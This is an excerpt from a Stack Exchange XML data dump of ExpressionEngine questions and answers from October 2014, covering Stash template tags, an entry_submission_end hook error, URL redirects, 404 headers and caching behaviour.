  <row Id="26019" PostTypeId="2" ParentId="25381" CreationDate="2014-10-03T14:44:05.460" Score="1" Body="&lt;p&gt;I was having the same problem. Mine is related to Structure and there is a known fix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://support.ellislab.com/bugs/detail/20559/comment-display-is-incorrect&quot; rel=&quot;nofollow&quot;&gt;https://support.ellislab.com/bugs/detail/20559/comment-display-is-incorrect&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="151" LastActivityDate="2014-10-03T14:44:05.460" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26021" PostTypeId="2" ParentId="24596" CreationDate="2014-10-03T17:22:34.513" Score="1" Body="&lt;p&gt;Bit late, but anyhow: you need to use parse=&quot;inward&quot; when passing a tag as a parameter:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get_list&#xA;    name=&quot;venue-events&quot;&#xA;    require_prefix=&quot;no&quot;&#xA;    parse_tags=&quot;yes&quot;&#xA;    parse_depth=&quot;3&quot;&#xA;    match=&quot;#^{exp:stash:get name='place_id'}$#&quot;&#xA;    against=&quot;venue_event_venue&quot;&#xA;    parse=&quot;inward&quot;&#xA;}&#xA;...&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Alternatively you can use the variable as a placeholder when wrapping with {exp:stash:parse}&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:parse}&#xA;   {exp:stash:get_list&#xA;       name=&quot;venue-events&quot;&#xA;       require_prefix=&quot;no&quot;&#xA;       parse_tags=&quot;yes&quot;&#xA;       parse_depth=&quot;3&quot;&#xA;       match=&quot;#^{stash:place_id}$#&quot;&#xA;       against=&quot;venue_event_venue&quot;&#xA;       parse=&quot;inward&quot;&#xA;   }&#xA;   ...&#xA;   {/exp:stash:get_list}&#xA;&#xA;{exp:stash:parse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="289" LastActivityDate="2014-10-03T17:22:34.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26022" PostTypeId="2" ParentId="24505" CreationDate="2014-10-03T17:32:41.470" Score="3" Body="&lt;p&gt;This may not be the problem but you should definitely get rid of eAccelerator. It's flaky with some PCRE operations (using preg_match() for example) in PHP 5.4 and later. It's possible code changes in EE or one of the add-ons you use have triggered a bug. Use &lt;a href=&quot;http://php.net/manual/en/book.opcache.php&quot; rel=&quot;nofollow&quot;&gt;Zend Opcache&lt;/a&gt; instead on PHP 5.4+.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other than that, upgrading to EE 2.9 would likely give you back some performance due to the new conditional parser.&lt;/p&gt;&#xA;" OwnerUserId="289" LastActivityDate="2014-10-03T17:32:41.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26023" PostTypeId="2" ParentId="26013" CreationDate="2014-10-03T17:41:12.147" Score="1" Body="&lt;p&gt;I would wrap the grid field with stash set_list instead of append. You can add output=&quot;yes&quot; to view what's being set in the database with the set_list (or better yet, check out &lt;a href=&quot;http://devot-ee.com/add-ons/mustash&quot; rel=&quot;nofollow&quot;&gt;Mustash&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;barristers&quot; url_title=&quot;{segment_3}&quot; status=&quot;open&quot; sort=&quot;asc&quot; disable=&quot;pagination&quot; limit=&quot;1&quot;}&#xA;&#xA;    Adding {title}'s full CV (all the skills)...&#xA;&#xA;    {exp:stash:set_list&#xA;        name=&quot;skills&quot; &#xA;        scope=&quot;user&quot; &#xA;        save=&quot;yes&quot; &#xA;        replace=&quot;no&quot; &#xA;        parse_tags=&quot;yes&quot;&#xA;    }&#xA;        {expertise}&#xA;            {stash:expertise_row_id}{expertise:row_id}{/stash:expertise_row_id}&#xA;        {/expertise}&#xA;    {/exp:stash:set_list}&#xA;&#xA;&#xA;    IN SESSION: &#xA;        {exp:stash:get_list &#xA;            name=&quot;skills&quot;&#xA;            scope=&quot;user&quot;&#xA;            backspace=&quot;2&quot;&#xA;        }&#xA;            {expertise_row_id}, &#xA;        {/exp:stash:get_list}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2014-10-03T17:41:12.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26027" PostTypeId="1" AcceptedAnswerId="26156" CreationDate="2014-10-03T23:32:53.447" Score="0" ViewCount="704" Body="&lt;p&gt;EE v2.9.0 Build Date: 20140715&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This error displays about 44 times after submitting an entry with a white screen when using the &lt;code&gt;entry_submission_end&lt;/code&gt; hook. I have roughly 20 field types enabled, and 37 fields created. This is across all field groups.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've uninstalled everything to the bare bones besides the playa field that I'm working with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using the entry_submission_end hook with &lt;code&gt;ee()-&amp;gt;api_channel_entries-&amp;gt;save_entry&lt;/code&gt; inside a foreach loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;A PHP Error was encountered&#xA;Severity: Notice&#xA;Message: Undefined index: field_type&#xA;Filename: api/Api_channel_fields.php&#xA;Line Number: 299&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;$data&lt;/code&gt; is the $_POST data array that is passed via the &lt;code&gt;entry_submission_end&lt;/code&gt; hook. Made sure all my fields are mapped properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;print_r($added_playa_entries);&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Outputs&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Array&#xA;(&#xA;    [0] =&amp;gt; Array&#xA;        (&#xA;            [title] =&amp;gt; test 1&#xA;            [url_title] =&amp;gt; test-1&#xA;            [entry_id] =&amp;gt; 9&#xA;        )&#xA;&#xA;    [1] =&amp;gt; Array&#xA;        (&#xA;            [title] =&amp;gt; test 2&#xA;            [url_title] =&amp;gt; test-2&#xA;            [entry_id] =&amp;gt; 10&#xA;        )&#xA;&#xA;    [2] =&amp;gt; Array&#xA;        (&#xA;            [title] =&amp;gt; test 3&#xA;            [url_title] =&amp;gt; test-3&#xA;            [entry_id] =&amp;gt; 12&#xA;        )&#xA;&#xA;    [3] =&amp;gt; Array&#xA;        (&#xA;            [title] =&amp;gt; test 4&#xA;            [url_title] =&amp;gt; test-4&#xA;            [entry_id] =&amp;gt; 16&#xA;        )&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The Code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach($added_playa_entries as $key =&amp;gt; $val)&#xA;{&#xA;    unset($playa_data);&#xA;    $playa_daya = array();&#xA;&#xA;    $playa_data['title'] = $added_playa_entries[$key]['title'];&#xA;    $playa_data['url_title'] = $added_playa_entries[$key]['url_title'];&#xA;    $playa_data['entry_id'] = $added_playa_entries[$key]['entry_id'];&#xA;    $playa_data['status'] = 'open';&#xA;&#xA;    $playa_data['category'] = $data['revision_post']['category'];&#xA;&#xA;    // These are custom fields&#xA;    $playa_data['field_id_33'] = $data['revision_post']['title'];&#xA;    $playa_data['field_id_34'] = $data['field_id_16'];&#xA;    $playa_data['field_id_35'] = $data['field_id_21'];&#xA;    $playa_data['field_id_36'] = $data['field_id_32'];&#xA;    $playa_data['field_id_37'] = $data['revision_post']['url_title'];&#xA;&#xA;    if ( ! ee()-&amp;gt;api_channel_entries-&amp;gt;save_entry($playa_data, 4, $playa_data['entry_id'], FALSE))&#xA;    {&#xA;        var_dump(ee()-&amp;gt;api_channel_entries-&amp;gt;get_errors());&#xA;        exit();&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is what I am saving using the ee()-&gt;api_channel_entries-&gt;save_entry method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;print_r($playa_data);&lt;/code&gt; For example outputs. The &lt;code&gt;$added_playa_entries&lt;/code&gt; example above does not correlate with the result below. This is simply an example.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Array&#xA;(&#xA;    [title] =&amp;gt; Test Entry&#xA;    [url_title] =&amp;gt; test-entry&#xA;    [entry_id] =&amp;gt; 7&#xA;    [status] =&amp;gt; open&#xA;    [category] =&amp;gt; Array&#xA;        (&#xA;            [0] =&amp;gt; 4&#xA;            [1] =&amp;gt; 5&#xA;            [2] =&amp;gt; 22&#xA;        )&#xA;&#xA;    [field_id_33] =&amp;gt; Field id 33 data here&#xA;    [field_id_34] =&amp;gt; Field id 34 data here&#xA;    [field_id_35] =&amp;gt; Field id 35 data here&#xA;    [field_id_36] =&amp;gt; Field id 36 data here&#xA;    [field_id_37] =&amp;gt; Field id 37 data here&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Field id's 33-37 are just text fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No fields are marked as required, I double checked this in the DB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For some reason this will work when I delete a single entry using the hook &lt;code&gt;delete_entries_start&lt;/code&gt;. When an entry is deleted, all related child entries of the deleted entry are set to closed, categories are cleared, and the custom field data of child entries is removed within the same similar foreach loop. I'm not even operating DRY right now because it's not working with the &lt;code&gt;entry_submission_end&lt;/code&gt; hook method. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The data does save for every entry successfully, however the mentioned error appears 44 times with a white screen on entry_submission_end while using the &lt;code&gt;ee()-&amp;gt;api_channel_entries-&amp;gt;save_entry&lt;/code&gt; inside a loop when using this hook.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want to know - can you replicate this? Am I missing the minuscule mistake, I have a hunch it's a bug within the channel entries api. Is it playa? I don't know yet. I've disabled all modules but Playa, but still can't seem to get this to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Performed upgrade to EE 2.9.2. Found that Line Number 299 is the culprit in the Api_channel_fields.php file. Why are field_type indexes not appearing? No clue as it seems to try and grab these indexes for fields that are not even associated with the channel. This is something for Ellislab to look into.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$field_id = $field_type;&#xA;$field_type = $this-&amp;gt;settings[$field_id]['field_type'];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Within the elseif statement, I removed line 299 where it assigns the &lt;code&gt;$field_type&lt;/code&gt; variable and added this condition after line 298.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (isset($this-&amp;gt;settings[$field_id]['field_type']))&#xA;{&#xA;    $field_type = $this-&amp;gt;settings[$field_id]['field_type'];&#xA;}&#xA;else&#xA;{&#xA;    return FALSE;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On publish, unfortunately the published view in the CP is the last child playa entry associated with parent entry I just published. Might need to do a function-&gt;redirect of some sort.&lt;/p&gt;&#xA;" OwnerUserId="931" LastEditorUserId="-1" LastEditDate="2014-10-09T03:22:44.190" LastActivityDate="2014-10-10T15:23:36.237" Title="entry_submission_end hook with ee()-&gt;api_channel_entries-&gt;save_entry" Tags="|ee2|playa|add-on-development|hook|channel-entries-api|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26028" PostTypeId="1" AcceptedAnswerId="26038" CreationDate="2014-10-03T23:37:56.160" Score="0" ViewCount="160" Body="&lt;p&gt;Would anyone know if it is possible to group a list of entries by month, but based on a custom date picker field? To display something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;October 2014&#xA;Title 1&#xA;Title 2&#xA;Title 3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;November 2014&#xA;Title 4&#xA;Title 5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;December 2014&#xA;Title 6&lt;/p&gt;&#xA;&#xA;&lt;p&gt;January 2015&#xA;Title 7&#xA;Title 8 etc etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's for a list of holidays, that I need to display by date order in groups. So the entry_date isn't the actual date if the holiday, I've got a custom field as the holiday start date and another on as the holiday end date.&lt;/p&gt;&#xA;" OwnerUserId="1149" LastActivityDate="2014-10-06T02:00:44.157" Title="Group entries by month based on custom date picker field" Tags="|channel-entries|grouping|date-field-filter|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26030" PostTypeId="1" CreationDate="2014-10-04T08:54:47.310" Score="0" ViewCount="201" Body="&lt;p&gt;I'm putting a new site live and need to redirect all the old pages to the relevant new ones. The issue is that the old site used PHP queries, whereas the new site doesn't. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means that if I setup a redirect like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule %{QUERY_STRING} range.php?type=baropt&amp;amp;amp;item=01 [NC]&#xA;RewriteRule .* http://domain.com/range/bars/led-bar? [R=301,L] &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Instead of redirecting as it should, it simply displays a blank page with the message '&lt;strong&gt;Disallowed Key Characters&lt;/strong&gt;'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm happy to setup manual redirects for the various pages (there's only around 80-90 in total). but can't workout how to do it. I've been told I'll need to use 'mod_rewrite, request_uri + query_string conditions' but that doesn't mean much to me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OLD URL:&#xA;domain.com/range.php?type=baropt&amp;amp;item=01&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NEW URL: &lt;a href=&quot;http://domain.com/range/bars/led-bar&quot; rel=&quot;nofollow&quot;&gt;http://domain.com/range/bars/led-bar&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas gratefully received!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tom&lt;/p&gt;&#xA;" OwnerUserId="432" LastEditorUserId="432" LastEditDate="2014-10-06T07:39:19.150" LastActivityDate="2015-05-04T13:24:02.623" Title="Redirects from old site using queries to new EE site" Tags="|htaccess|redirects|mod-rewrite|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26031" PostTypeId="1" CreationDate="2014-10-04T11:14:18.973" Score="1" ViewCount="265" Body="&lt;p&gt;We've got a site which is in 10 or so languages, each of them being contained in a template group, en, es, de etc - so essentially the index page of each of these template groups is the homepage of that language and usually, clients from that region don't go to any other language.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when they first login they go to the default template group - English - which is the site main template group. From there they choose the language they require.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to skip this and have the user redirected to their own language page on login? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone done something like this?&lt;/p&gt;&#xA;" OwnerUserId="2748" LastActivityDate="2015-05-03T22:25:59.297" Title="Multilingual site - login landing pages" Tags="|multi-language|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26032" PostTypeId="2" ParentId="25882" CreationDate="2014-10-04T16:30:36.850" Score="0" Body="&lt;p&gt;Found a fix for this: turns out it was the CP url in the config file was wrong! Doh! &lt;/p&gt;&#xA;" OwnerUserId="2748" LastActivityDate="2014-10-04T16:30:36.850" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26033" PostTypeId="2" ParentId="26030" CreationDate="2014-10-04T18:02:23.743" Score="0" Body="&lt;p&gt;If you have imported the previous URL as some field, let's say, &lt;code&gt;previous_url&lt;/code&gt;, you can use a template to help you create the redirects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Access the template, copy the rules and paste them on your .htaccess file or NGINX location.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;For NGINX&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;channel_name&quot; limit=&quot;500&quot;}&#xA;    rewrite ^/{previous_url} http://domain.com/template_group/template/{url_title} redirect;&amp;lt;br /&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If everything work fine, replace &lt;code&gt;redirect&lt;/code&gt; by &lt;code&gt;permanent&lt;/code&gt; and restart nginx service.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;For Apache&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;channel_name&quot; limit=&quot;500&quot;}&#xA;    RewriteRule ^/{previous_url} http://domain.com/template_group/template/{url_title} [L,R=302]&amp;lt;br /&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If everything work fine, replace &lt;code&gt;302&lt;/code&gt; by &lt;code&gt;301&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2014-10-04T18:02:23.743" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="26034" PostTypeId="1" AcceptedAnswerId="26035" CreationDate="2014-10-04T19:07:02.720" Score="0" ViewCount="63" Body="&lt;p&gt;In EE 2.9.1 is there a way to removed default fields from the registration page?  I see that I can create fields that add to the registration page, but I don't see a way to remove default fields.  Surely someone other myself has had this thought before.  Any help is appreciated.  Thank you.&lt;/p&gt;&#xA;" OwnerUserId="3654" LastActivityDate="2014-10-04T19:15:52.540" Title="In EE 2.9.1 is there a way to removed default fields from the registration page?" Tags="|ee2|fields|registration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26035" PostTypeId="2" ParentId="26034" CreationDate="2014-10-04T19:15:52.540" Score="2" Body="&lt;p&gt;There are are a number of options open to you:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Edit the default member registration template in Design-&gt;Templates-&gt;Themes-&gt;Member Profile Templates&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use an add-on like &lt;a href=&quot;http://devot-ee.com/add-ons/freemember&quot; rel=&quot;nofollow&quot;&gt;Freemember&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create your own custom registration form&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-10-04T19:15:52.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26037" PostTypeId="1" CreationDate="2014-10-05T02:24:30.613" Score="1" ViewCount="210" Body="&lt;p&gt;Anyone else seeing this issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This has been this way since at least 2.81 and I just upgraded to 2.92 and it's still happening&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Heres what I have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;artworks&quot; paginate=&quot;both&quot; limit=&quot;36&quot; orderby=&quot;artwork-end_year|artwork-viewing&quot; sort=&quot;desc|asc&quot; cache=&quot;yes&quot; refresh=&quot;360&quot;}&#xA;{if count == 1}&#xA;All ({absolute_results})&#xA;{/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This shows &quot;All (36)&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;artworks&quot; paginate=&quot;both&quot; limit=&quot;36&quot; orderby=&quot;artwork-end_year|artwork-viewing&quot; sort=&quot;desc|asc&quot; cache=&quot;no&quot; refresh=&quot;360&quot;}&#xA;{if count == 1}&#xA;All ({absolute_results})&#xA;{/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This shows &quot;All (239)&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've cleared the cache a number of times but still get the same result? Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="727" LastEditorUserId="3579" LastEditDate="2017-02-23T15:09:33.283" LastActivityDate="2017-02-23T15:09:33.283" Title="Absolute Results returns one page count when cache is turned on" Tags="|cache|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26038" PostTypeId="2" ParentId="26028" CreationDate="2014-10-05T02:41:19.113" Score="0" Body="&lt;p&gt;I think there are a couple ways to approach this.  These links from a previous conversation may help:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/14477/show-all-entries-from-a-given-custom-date-field&quot;&gt;Show all entries from a given custom date field&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.solspace.com/software/detail/date_field_filter/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.solspace.com/software/detail/date_field_filter/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1379" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2014-10-05T02:41:19.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26039" PostTypeId="2" ParentId="26030" CreationDate="2014-10-05T02:43:20.353" Score="0" Body="&lt;p&gt;It's a bit pricey for what it does, but if you prefer to manage redirects from the CP, and think maybe there will be more in the future, than Detour Pro is a nice option:&#xA;&lt;a href=&quot;http://devot-ee.com/add-ons/detour-pro&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/detour-pro&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1379" LastActivityDate="2014-10-05T02:43:20.353" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26040" PostTypeId="1" CreationDate="2014-10-05T03:21:07.277" Score="0" ViewCount="33" Body="&lt;p&gt;I'm looking for an ExpressionEngine addon that can do the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;have a short form that allows a file to be uploaded, form will include date, etc.&lt;/li&gt;&#xA;&lt;li&gt;based on the template the file should automatically be tagged for easy retrieval&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Sounds rather simple, but I'm not sure if I'll need a combination of addons or if I'm missing built in features.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edited to better state my question. See below.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically a document retrieval system with tags so that it makes it easier to find and retrieve given documents.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="3654" LastEditorUserId="3654" LastEditDate="2014-10-05T18:39:05.930" LastActivityDate="2014-10-05T18:39:05.930" Title="Looking for an ExpressionEngine addon like this" Tags="|ee2|add-on|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26041" PostTypeId="2" ParentId="25682" CreationDate="2014-10-05T08:07:08.867" Score="0" Body="&lt;p&gt;I had to switch to grid from ellislab. Now i do not have any problems. I did upgrade of matrix but it was easier to change then to wait to repair problem.&lt;/p&gt;&#xA;" OwnerUserId="3582" LastActivityDate="2014-10-05T08:07:08.867" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26042" PostTypeId="2" ParentId="26040" CreationDate="2014-10-05T10:34:20.597" Score="1" Body="&lt;p&gt;Would you be able to achieve this by creating an &quot;Uploads&quot; channel with your required date and other fields. Add a file upload field to it too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure what you mean by &quot;tagged. If you mean that this will be uploaded from the front end then you could add a &quot;template&quot; field to the channel and then in the form make that a hidden field containing whatever tag you need (such as the template name). &lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-10-05T10:34:20.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26043" PostTypeId="1" AcceptedAnswerId="26044" CreationDate="2014-10-05T13:45:18.350" Score="1" ViewCount="665" Body="&lt;p&gt;Under Design &gt; Templates &gt; Global Template Preferences I have Strict URLS set to yes and I've defined the 404 page (It lives at /errors/404).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We're running EE 2.8.1 and PHP 5.3.27&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like &lt;a href=&quot;http://site.com/foo&quot; rel=&quot;nofollow&quot;&gt;http://site.com/foo&lt;/a&gt; displays the 404 template and properly returns a 404 header. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This URL exists and displays content properly &lt;a href=&quot;http://site.com/groups/studies/i-love-my-church&quot; rel=&quot;nofollow&quot;&gt;http://site.com/groups/studies/i-love-my-church&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The problem&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://site.com/groups/studies/foo&quot; rel=&quot;nofollow&quot;&gt;http://site.com/groups/studies/foo&lt;/a&gt; displays the 404 template, but incorrectly returns a 200 response. (&lt;a href=&quot;http://cl.ly/image/3E3U1N2X2j1L&quot; rel=&quot;nofollow&quot;&gt;http://cl.ly/image/3E3U1N2X2j1L&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE Docs state that EE will only &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/cp/design/templates/global_template_preferences.html#page&quot; rel=&quot;nofollow&quot;&gt;evaluate the first two segments&lt;/a&gt; unless used in conjunction with the require_entry parameter. Unfortunately, using this doesn't change the header.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The code&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;groups/_studies-collection:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;groups_study&quot; url_title=&quot;{segment_3}&quot; require_entry=&quot;yes&quot; dynamic=&quot;off&quot; status=&quot;Featured|Open&quot;}&#xA;&#xA;    Content Here&#xA;&#xA;    {if no_results}&#xA;        {redirect=&quot;404&quot;}&#xA;    {/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;groups/studies:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_3}&#xA;    {if segment_4}&#xA;        {embed=&quot;groups/_studies-entry&quot;}&#xA;    {if:else}&#xA;        {exp:md_detect_page_type url_segment=&quot;{segment_3}&quot;}&#xA;            {if pagination_page}&#xA;                {embed=&quot;groups/_studies-list&quot;}&#xA;            {if:else}&#xA;                {embed=&quot;groups/_studies-collection&quot;}&#xA;            {/if}&#xA;        {/exp:md_detect_page_type}&#xA;    {/if}&#xA;{if:else}&#xA;    {embed=&quot;newspring:groups/_studies-list&quot;}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any clarity on this issue would be appreciated!&lt;/p&gt;&#xA;" OwnerUserId="133" LastEditorUserId="133" LastEditDate="2014-10-05T13:53:00.647" LastActivityDate="2014-11-05T21:45:48.300" Title="Why doesn't {if no_results}{redirect=&quot;404&quot;}{/if} return a 404 header?" Tags="|redirects|404|error-pages|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26044" PostTypeId="2" ParentId="26043" CreationDate="2014-10-05T14:46:32.043" Score="1" Body="&lt;p&gt;I don't know if it's also in the bug reports, but there is a note in the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/about/changelog.html&quot; rel=&quot;nofollow&quot;&gt;changelog&lt;/a&gt; for 2.9.1 :&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Fixed a bug in the 404 redirect behavior when used inside a no_results&#xA;  tag on an embedded template.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This might be your issue if it works as expected outside of an embed.&lt;/p&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2014-10-05T14:46:32.043" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26045" PostTypeId="2" ParentId="26043" CreationDate="2014-10-05T15:19:58.633" Score="0" Body="&lt;p&gt;The no results conditional doesn't necessarily mean it's a 404 &lt;del&gt;and the fact you have a template called &quot;404&quot; doesn't mean that EE will assume it requires a 404 header - it's just another template&lt;/del&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The strict URLs setting will mean any URL not picked up natively by templates will get the 404 header assigned to it - your URL on the other hand is being passed through a template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[Edit - seeing as the native 404 redirect isn't working...]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to drop a plugin into your 404 template to correctly, try one of these:&#xA;&lt;a href=&quot;http://devot-ee.com/search/results?keywords=404+redirect+header&amp;amp;addon_version_support=ee2&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/search/results?keywords=404+redirect+header&amp;amp;addon_version_support=ee2&lt;/a&gt;&lt;/p&gt;&#xA;" 